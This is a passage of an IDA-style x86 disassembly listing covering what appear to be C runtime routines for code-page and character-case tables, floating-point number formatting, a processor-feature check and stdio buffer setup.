		mov	dword_516C9C, ebx


loc_41C16B:				; CODE XREF: sub_41BFFC+167j
		xor	eax, eax
		mov	edi, offset dword_516C90
		stosd
		stosd
		stosd
		jmp	short loc_41C184
; ---------------------------------------------------------------------------


loc_41C177:				; CODE XREF: sub_41BFFC+51j
		cmp	dword_515908, ebx
		jz	short loc_41C18D


loc_41C17F:				; CODE XREF: sub_41BFFC+27j
		call	sub_41C212


loc_41C184:				; CODE XREF: sub_41BFFC+131j
					; sub_41BFFC+179j
		call	sub_41C23B


loc_41C189:				; CODE XREF: sub_41BFFC+1Dj
		xor	eax, eax
		jmp	short loc_41C190
; ---------------------------------------------------------------------------


loc_41C18D:				; CODE XREF: sub_41BFFC+181j
		or	eax, 0FFFFFFFFh


loc_41C190:				; CODE XREF: sub_41BFFC+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BFFC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C195	proc near		; CODE XREF: sub_41BFFC+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_515908, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_41C1B5
		mov	dword_515908, 1
		nop
		jmp	near ptr 7C8127A7h
; ---------------------------------------------------------------------------


loc_41C1B5:				; CODE XREF: sub_41C195+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_41C1CA
		mov	dword_515908, 1
		nop
		jmp	near ptr 7C809915h
; ---------------------------------------------------------------------------


loc_41C1CA:				; CODE XREF: sub_41C195+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_41C1DE
		mov	eax, dword_5158FC
		mov	dword_515908, 1

locret_41C1DE:				; CODE XREF: sub_41C195+38j
		retn
sub_41C195	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1DF	proc near		; CODE XREF: sub_41BFFC+118p
					; sub_41BFFC+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_41C20C
		sub	eax, 4
		jz	short loc_41C206
		sub	eax, 0Dh
		jz	short loc_41C200
		dec	eax
		jz	short loc_41C1FA
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C1FA:				; CODE XREF: sub_41C1DF+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_41C200:				; CODE XREF: sub_41C1DF+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_41C206:				; CODE XREF: sub_41C1DF+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_41C20C:				; CODE XREF: sub_41C1DF+9j
		mov	eax, 411h
		retn
sub_41C1DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C212	proc near		; CODE XREF: sub_41BFFC:loc_41C17Fp
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_516DA0
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_516C90
		mov	dword_516C84, eax
		mov	dword_516C9C, eax
		mov	dword_516EA4, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41C212	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C23B	proc near		; CODE XREF: sub_41BFFC:loc_41C184p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_516C84
		nop
		call	near ptr 7C812E76h
		cmp	eax, 1
		jnz	loc_41C374
		xor	eax, eax
		mov	esi, 100h


loc_41C265:				; CODE XREF: sub_41C23B+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_41C265
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_41C2B6
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_41C284:				; CODE XREF: sub_41C23B+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_41C2AB
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_41C2AB:				; CODE XREF: sub_41C23B+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_41C284
		pop	edi
		pop	ebx


loc_41C2B6:				; CODE XREF: sub_41C23B+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_516EA4
		push	dword_516C84
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_41D6F3
		push	0
		lea	eax, [ebp+var_214]
		push	dword_516C84
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_516EA4
		call	sub_41BC2B
		push	0
		lea	eax, [ebp+var_314]
		push	dword_516C84
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_516EA4
		call	sub_41BC2B
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_41C331:				; CODE XREF: sub_41C23B+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_41C34F
		or	byte_516DA1[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_41C347:				; CODE XREF: sub_41C23B+127j
		mov	byte_516CA0[eax], dl
		jmp	short loc_41C36B
; ---------------------------------------------------------------------------


loc_41C34F:				; CODE XREF: sub_41C23B+FCj
		test	dl, 2
		jz	short loc_41C364
		or	byte_516DA1[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_41C347
; ---------------------------------------------------------------------------


loc_41C364:				; CODE XREF: sub_41C23B+117j
		and	byte_516CA0[eax], 0


loc_41C36B:				; CODE XREF: sub_41C23B+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_41C331
		jmp	short loc_41C3BD
; ---------------------------------------------------------------------------


loc_41C374:				; CODE XREF: sub_41C23B+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_41C37B:				; CODE XREF: sub_41C23B+180j
		cmp	eax, 41h
		jb	short loc_41C399
		cmp	eax, 5Ah
		ja	short loc_41C399
		or	byte_516DA1[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_41C391:				; CODE XREF: sub_41C23B+174j
		mov	byte_516CA0[eax], cl
		jmp	short loc_41C3B8
; ---------------------------------------------------------------------------


loc_41C399:				; CODE XREF: sub_41C23B+143j
					; sub_41C23B+148j
		cmp	eax, 61h
		jb	short loc_41C3B1
		cmp	eax, 7Ah
		ja	short loc_41C3B1
		or	byte_516DA1[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_41C391
; ---------------------------------------------------------------------------


loc_41C3B1:				; CODE XREF: sub_41C23B+161j
					; sub_41C23B+166j
		and	byte_516CA0[eax], 0


loc_41C3B8:				; CODE XREF: sub_41C23B+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_41C37B


loc_41C3BD:				; CODE XREF: sub_41C23B+137j
		pop	esi
		leave
		retn
sub_41C23B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C3C0	proc near		; CODE XREF: ___:0041CBD8p
					; ___:0041CC34p ...
		cmp	dword_516ECC, 0
		jnz	short locret_41C3DB
		push	0FFFFFFFDh
		call	sub_41BFFC
		pop	ecx
		mov	dword_516ECC, 1

locret_41C3DB:				; CODE XREF: sub_41C3C0+7j
		retn
sub_41C3C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C3DC	proc near		; CODE XREF: sub_418AA8+2Bp
					; sub_418AA8+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_516C9C, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_41C400
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_4182F0
		add	esp, 0Ch
		jmp	short loc_41C463
; ---------------------------------------------------------------------------


loc_41C400:				; CODE XREF: sub_41C3DC+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_41C445
		mov	ecx, [ebp+arg_4]


loc_41C40B:				; CODE XREF: sub_41C3DC+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_516DA1[esi], 4
		mov	[edi], al
		jz	short loc_41C42F
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_41C43B
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41C441
		jmp	short loc_41C435
; ---------------------------------------------------------------------------


loc_41C42F:				; CODE XREF: sub_41C3DC+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41C445


loc_41C435:				; CODE XREF: sub_41C3DC+51j
		test	edx, edx
		jnz	short loc_41C40B
		jmp	short loc_41C445
; ---------------------------------------------------------------------------


loc_41C43B:				; CODE XREF: sub_41C3DC+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_41C445
; ---------------------------------------------------------------------------


loc_41C441:				; CODE XREF: sub_41C3DC+4Fj
		and	byte ptr [edi-2], 0


loc_41C445:				; CODE XREF: sub_41C3DC+2Aj
					; sub_41C3DC+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_41C460
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_41C460:				; CODE XREF: sub_41C3DC+6Fj
		mov	eax, [ebp+arg_0]


loc_41C463:				; CODE XREF: sub_41C3DC+22j
		pop	edi
		pop	ebp
		retn
sub_41C3DC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C466	proc near		; CODE XREF: sub_418D5F+Fp
		push	30000h
		push	10000h
		call	sub_41E764
		pop	ecx
		pop	ecx
		retn
sub_41C466	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C478	proc near		; CODE XREF: sub_41C4B6:loc_41C4DAj

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_4216D0
		fstp	[ebp+var_8]
		fld	dbl_4216C8
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_4216C0
		fnstsw	ax
		sahf
		jbe	short loc_41C4B2
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_41C4B2:				; CODE XREF: sub_41C478+33j
		xor	eax, eax
		leave
		retn
sub_41C478	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C4B6	proc near		; CODE XREF: sub_418D5F+5p
		push	offset aKernel32 ; "KERNEL32"
		nop
		call	near ptr 7C80B6A1h
		test	eax, eax
		jz	short loc_41C4DA
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		nop
		call	near ptr 7C80ADA0h
		test	eax, eax
		jz	short loc_41C4DA
		push	0
		call	eax
		retn
; ---------------------------------------------------------------------------


loc_41C4DA:				; CODE XREF: sub_41C4B6+Dj
					; sub_41C4B6+1Dj
		jmp	sub_41C478
sub_41C4B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C4DF	proc near		; CODE XREF: sub_419343+3CBp
					; DATA XREF: sub_418D77+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_4187E1
		cmp	eax, 65h
		pop	ecx
		jz	short loc_41C51F


loc_41C4F3:				; CODE XREF: sub_41C4DF+3Ej
		inc	esi
		cmp	dword_43B7AC, 1
		jle	short loc_41C50C
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_419B4D
		pop	ecx
		pop	ecx
		jmp	short loc_41C51B
; ---------------------------------------------------------------------------


loc_41C50C:				; CODE XREF: sub_41C4DF+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_43B5A0
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41C51B:				; CODE XREF: sub_41C4DF+2Bj
		test	eax, eax
		jnz	short loc_41C4F3


loc_41C51F:				; CODE XREF: sub_41C4DF+12j
		mov	cl, byte_43B7B0
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_41C52A:				; CODE XREF: sub_41C4DF+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_41C52A
		pop	esi
		retn
sub_41C4DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C539	proc near		; CODE XREF: sub_419343+3E2p
					; DATA XREF: sub_418D77+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_43B7B0
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41C555


loc_41C549:				; CODE XREF: sub_41C539+1Aj
		cmp	cl, dl
		jz	short loc_41C555
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_41C549


loc_41C555:				; CODE XREF: sub_41C539+Ej
					; sub_41C539+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_41C586


loc_41C55C:				; CODE XREF: sub_41C539+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41C56F
		cmp	cl, 65h
		jz	short loc_41C56F
		cmp	cl, 45h
		jz	short loc_41C56F
		inc	eax
		jmp	short loc_41C55C
; ---------------------------------------------------------------------------


loc_41C56F:				; CODE XREF: sub_41C539+27j
					; sub_41C539+2Cj ...
		mov	ecx, eax


loc_41C571:				; CODE XREF: sub_41C539+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_41C571
		cmp	[eax], dl
		jnz	short loc_41C57C
		dec	eax


loc_41C57C:				; CODE XREF: sub_41C539+40j
					; sub_41C539+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_41C57C

locret_41C586:				; CODE XREF: sub_41C539+21j
		retn
sub_41C539	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C587	proc near		; DATA XREF: sub_418D77+28o
					; ___:off_43B8D8o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_421700
		fnstsw	ax
		sahf
		jb	short loc_41C59C
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41C59C:				; CODE XREF: sub_41C587+Fj
		xor	eax, eax
		retn
sub_41C587	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C59F	proc near		; CODE XREF: sub_41A824+430p
					; DATA XREF: sub_418D77+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_41C5C8
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41EC27
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41C5C8:				; CODE XREF: sub_41C59F+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41EC54
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_41C59F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C5DD	proc near		; CODE XREF: sub_41C85A+17p
					; sub_41C8A4+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_515910, 0
		push	ebx
		push	esi
		jz	short loc_41C612
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_51590C
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_41C8F5
		pop	ecx
		pop	ecx
		jmp	short loc_41C64A
; ---------------------------------------------------------------------------


loc_41C612:				; CODE XREF: sub_41C5DD+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_41ECF8
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_41EC81
		add	esp, 14h


loc_41C64A:				; CODE XREF: sub_41C5DD+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_41C656
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_41C656:				; CODE XREF: sub_41C5DD+73j
		test	ebx, ebx
		jle	short loc_41C66E
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_43B7B0
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_41C66E:				; CODE XREF: sub_41C5DD+7Bj
		xor	ecx, ecx
		push	offset dword_421708
		cmp	byte_515910, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_417A00
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_41C695
		mov	byte ptr [ecx],	45h


loc_41C695:				; CODE XREF: sub_41C5DD+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_41C6DA
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_41C6A9
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_41C6A9:				; CODE XREF: sub_41C5DD+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_41C6C0
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_41C6C0:				; CODE XREF: sub_41C5DD+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_41C6D7
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_41C6D7:				; CODE XREF: sub_41C5DD+E7j
		add	[ecx+1], bl


loc_41C6DA:				; CODE XREF: sub_41C5DD+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41C5DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C6E1	proc near		; CODE XREF: sub_41C881+13p
					; sub_41C8A4+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_515910, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_41C71C
		mov	eax, dword_515914
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_51590C
		cmp	eax, ebx
		jnz	short loc_41C74C
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_41C74C
; ---------------------------------------------------------------------------


loc_41C71C:				; CODE XREF: sub_41C6E1+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_41ECF8
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_41EC81
		add	esp, 14h


loc_41C74C:				; CODE XREF: sub_41C6E1+22j
					; sub_41C6E1+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_41C75A
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_41C75A:				; CODE XREF: sub_41C6E1+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_41C771
		push	1
		push	edi
		call	sub_41C8F5
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_41C773
; ---------------------------------------------------------------------------


loc_41C771:				; CODE XREF: sub_41C6E1+7Ej
		add	edi, eax


loc_41C773:				; CODE XREF: sub_41C6E1+8Ej
		test	ebx, ebx
		jle	short loc_41C7B8
		push	1
		push	edi
		call	sub_41C8F5
		mov	al, byte_43B7B0
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_41C7B8
		cmp	byte_515910, 0
		jz	short loc_41C79D
		neg	esi
		jmp	short loc_41C7A3
; ---------------------------------------------------------------------------


loc_41C79D:				; CODE XREF: sub_41C6E1+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_41C7A5


loc_41C7A3:				; CODE XREF: sub_41C6E1+BAj
		mov	ebx, esi


loc_41C7A5:				; CODE XREF: sub_41C6E1+C0j
		push	ebx
		push	edi
		call	sub_41C8F5
		push	ebx
		push	30h
		push	edi
		call	sub_417430
		add	esp, 14h


loc_41C7B8:				; CODE XREF: sub_41C6E1+94j
					; sub_41C6E1+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41C6E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C7BF	proc near		; CODE XREF: sub_41C8A4+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_41ECF8
		mov	dword_51590C, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_515914, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_41EC81
		mov	eax, dword_51590C
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_515914, ecx
		setl	cl
		mov	byte_515918, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_515914, eax
		jl	short loc_41C845
		cmp	eax, ebx
		jge	short loc_41C845
		test	cl, cl
		jz	short loc_41C836


loc_41C82C:				; CODE XREF: sub_41C7BF+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_41C82C
		and	[esi-2], al


loc_41C836:				; CODE XREF: sub_41C7BF+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41C881
		add	esp, 0Ch
		jmp	short loc_41C855
; ---------------------------------------------------------------------------


loc_41C845:				; CODE XREF: sub_41C7BF+63j
					; sub_41C7BF+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41C85A
		add	esp, 10h


loc_41C855:				; CODE XREF: sub_41C7BF+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41C7BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C85A	proc near		; CODE XREF: sub_41C7BF+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_515910, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41C5DD
		and	byte_515910, 0
		add	esp, 10h
		retn
sub_41C85A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C881	proc near		; CODE XREF: sub_41C7BF+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_515910, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41C6E1
		and	byte_515910, 0
		add	esp, 0Ch
		retn
sub_41C881	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C8A4	proc near		; CODE XREF: sub_419343+3AAp
					; DATA XREF: sub_418D77o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_41C8DF
		cmp	[ebp+arg_8], 45h
		jz	short loc_41C8DF
		cmp	[ebp+arg_8], 66h
		jnz	short loc_41C8CC
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41C6E1
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41C8CC:				; CODE XREF: sub_41C8A4+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41C7BF
		jmp	short loc_41C8F0
; ---------------------------------------------------------------------------


loc_41C8DF:				; CODE XREF: sub_41C8A4+7j
					; sub_41C8A4+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41C5DD


loc_41C8F0:				; CODE XREF: sub_41C8A4+39j
		add	esp, 10h
		pop	ebp
		retn
sub_41C8A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C8F5	proc near		; CODE XREF: sub_41C5DD+2Cp
					; sub_41C6E1+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_41C918
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_417AF0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_41D840
		add	esp, 10h
		pop	esi


loc_41C918:				; CODE XREF: sub_41C8F5+7j
		pop	edi
		retn
sub_41C8F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C91A	proc near		; CODE XREF: sub_418DAF+16p
					; sub_41906C+1Dp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_515888, ecx
		mov	eax, offset dword_43B8E0


loc_41C92B:				; CODE XREF: sub_41C91A+1Ej
		cmp	ecx, [eax]
		jz	short loc_41C94F
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43BA48
		jl	short loc_41C92B
		cmp	ecx, 13h
		jb	short loc_41C95C
		cmp	ecx, 24h
		ja	short loc_41C95C
		mov	dword_515884, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_41C94F:				; CODE XREF: sub_41C91A+13j
		mov	eax, dword_43B8E4[edx*8]
		mov	dword_515884, eax
		retn
; ---------------------------------------------------------------------------


loc_41C95C:				; CODE XREF: sub_41C91A+23j
					; sub_41C91A+28j
		cmp	ecx, 0BCh
		jb	short loc_41C976
		cmp	ecx, 0CAh
		mov	dword_515884, 8
		jbe	short locret_41C980


loc_41C976:				; CODE XREF: sub_41C91A+48j
		mov	dword_515884, 16h

locret_41C980:				; CODE XREF: sub_41C91A+5Aj
		retn
sub_41C91A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C981	proc near		; CODE XREF: sub_419096+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41D5AC
		test	eax, eax
		pop	ecx
		jz	short loc_41CA0A
		cmp	esi, offset dword_43BB98
		jnz	short loc_41C99F
		xor	eax, eax
		jmp	short loc_41C9AA
; ---------------------------------------------------------------------------


loc_41C99F:				; CODE XREF: sub_41C981+18j
		cmp	esi, offset dword_43BBB8
		jnz	short loc_41CA0A
		push	1
		pop	eax


loc_41C9AA:				; CODE XREF: sub_41C981+1Cj
		inc	dword_515A34
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_41CA0A
		cmp	dword_51591C[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:51591Ch[eax*4]
		mov	ebx, 1000h
		jnz	short loc_41C9F0
		push	ebx
		call	sub_417BEE
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_41C9F0
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
